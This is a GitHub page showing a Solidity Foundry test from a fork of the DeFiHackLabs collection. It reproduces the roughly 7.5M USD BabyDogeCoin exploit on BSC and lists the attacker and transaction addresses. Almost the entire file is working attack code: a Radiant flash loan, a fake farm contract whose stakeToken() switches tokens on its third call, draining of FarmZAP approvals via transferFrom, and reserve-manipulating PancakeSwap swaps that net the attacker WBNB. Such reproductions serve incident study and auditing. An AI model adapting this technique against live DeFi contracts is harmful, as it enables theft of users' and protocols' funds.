forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 0
/
BabyDogeCoin_exp.sol
130 lines (112 loc) · 5.31 KB
/
BabyDogeCoin_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
// @KeyInfo - Total Lost : ~7.5M USD$
// Attacker : https://bscscan.com/address/0xcbc0d0c1049eb011d7c7cfc4ff556d281f0afebb
// Attack Contract : https://bscscan.com/address/0x51873a0b615a51115f2cfbc2e24d9db4bfa2e6e2
// Vulnerable Contract : https://bscscan.com/address/0xc748673057861a797275cd8a068abb95a902e8de
// Attack Tx : https://bscscan.com/tx/0x098e7394a1733320e0887f0de22b18f5c71ee18d48a0f6d30c76890fb5c85375
// @Info
// Vulnerable Contract Code : https://bscscan.com/address/0xc748673057861a797275cd8a068abb95a902e8de#code
// @Analysis
// Post-mortem : https://www.google.com/
// Twitter Guy : https://twitter.com/Phalcon_xyz/status/1662744426475831298
// Hacking God : https://www.google.com/
interface IFarm {
function depositOnBehalf(uint256 amount, address account) external;
function stakeToken() external returns (address);
}
interface IFarmZAP {
function buyTokensAndDepositOnBehalf(
IFarm farm,
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path
) external payable returns (uint256);
}
contract ContractTest is Test {
IERC20 BABYDOGE = IERC20(0xc748673057861a797275CD8A068AbB95A902e8de);
IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
Uni_Pair_V2 Pair = Uni_Pair_V2(0xc736cA3d9b1E90Af4230BD8F9626528B3D4e0Ee0);
IFarmZAP FarmZAP = IFarmZAP(0x451583B6DA479eAA04366443262848e27706f762);
IAaveFlashloan Radiant = IAaveFlashloan(0xd50Cf00b6e600Dd036Ba8eF475677d816d6c4281);
uint256 i;
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
function setUp() public {
cheats.createSelectFork("bsc", 28_593_354);
cheats.label(address(WBNB), "WBNB");
cheats.label(address(BABYDOGE), "BABYDOGE");
cheats.label(address(Pair), "Pair");
cheats.label(address(FarmZAP), "FarmZAP");
cheats.label(address(Radiant), "Radiant");
}
function testExploit() external {
deal(address(this), 0);
address[] memory assets = new address[](1);
assets[0] = address(WBNB);
uint256[] memory amounts = new uint256[](1);
amounts[0] = 80_000 * 1e18;
uint256[] memory modes = new uint[](1);
modes[0] = 0;
Radiant.flashLoan(address(this), assets, amounts, modes, address(0), new bytes(0), 0);
emit log_named_decimal_uint(
"Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), WBNB.decimals()
);
}
function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params
) external returns (bool) {
WBNB.approve(address(Radiant), amounts[0] + premiums[0]);
WBNB.withdraw(80_000 * 1e18);
address[] memory path = new address[](2);
path[0] = address(WBNB);
path[1] = address(BABYDOGE);
FarmZAP.buyTokensAndDepositOnBehalf{value: 80_000 ether}(IFarm(address(this)), 80_000 * 1e18, 0, path);
BABYDOGEToWBNBInPancake();
BABYDOGE.transferFrom(address(FarmZAP), address(BABYDOGE), BABYDOGE.balanceOf(address(FarmZAP)) - 1);
BABYDOGE.transferFrom(address(FarmZAP), address(this), 1); // tigger sell BABYDOGECOIN and addLiquidity in pancakeSwap
WBNBToBABYDOGEInPancake();
WBNB.withdraw(0.001 ether);
FarmZAP.buyTokensAndDepositOnBehalf{value: 0.001 ether}(IFarm(address(this)), 1e15, 0, path);
BABYDOGEToWBNBInFarmZAP();
return true;
}
function BABYDOGEToWBNBInPancake() internal {
(uint256 WBNBReserve, uint256 BABYReserve,) = Pair.getReserves();
BABYDOGE.transferFrom(address(FarmZAP), address(Pair), BABYReserve * 769 / 1000);
uint256 amountIn = BABYDOGE.balanceOf(address(Pair)) - BABYReserve;
uint256 amountOut = (9975 * amountIn * WBNBReserve) / (10_000 * BABYReserve + 9975 * amountIn);
Pair.swap(amountOut, 0, address(this), new bytes(0));
}
function WBNBToBABYDOGEInPancake() internal {
(uint256 WBNBReserve, uint256 BABYReserve,) = Pair.getReserves();
WBNB.transfer(address(Pair), WBNBReserve * 767 / 1000);
uint256 amountIn = WBNB.balanceOf(address(Pair)) - WBNBReserve;
uint256 amountOut = (9975 * amountIn * BABYReserve) / (10_000 * WBNBReserve + 9975 * amountIn);
Pair.swap(0, amountOut, address(FarmZAP), new bytes(0));
}
function BABYDOGEToWBNBInFarmZAP() internal {
BABYDOGE.transferFrom(address(FarmZAP), address(this), BABYDOGE.balanceOf(address(FarmZAP)));
BABYDOGE.approve(address(FarmZAP), type(uint256).max);
address[] memory path = new address[](2);
path[0] = address(BABYDOGE);
path[1] = address(WBNB);
FarmZAP.buyTokensAndDepositOnBehalf(IFarm(address(this)), BABYDOGE.balanceOf(address(this)), 0, path);
WBNB.transferFrom(address(FarmZAP), address(this), WBNB.balanceOf(address(FarmZAP)));
}
receive() external payable {}
function depositOnBehalf(uint256 amount, address account) external {}
function stakeToken() external returns (address) {
i++;
if (i != 3) {
return address(BABYDOGE);
} else {
return address(WBNB);
}
}
}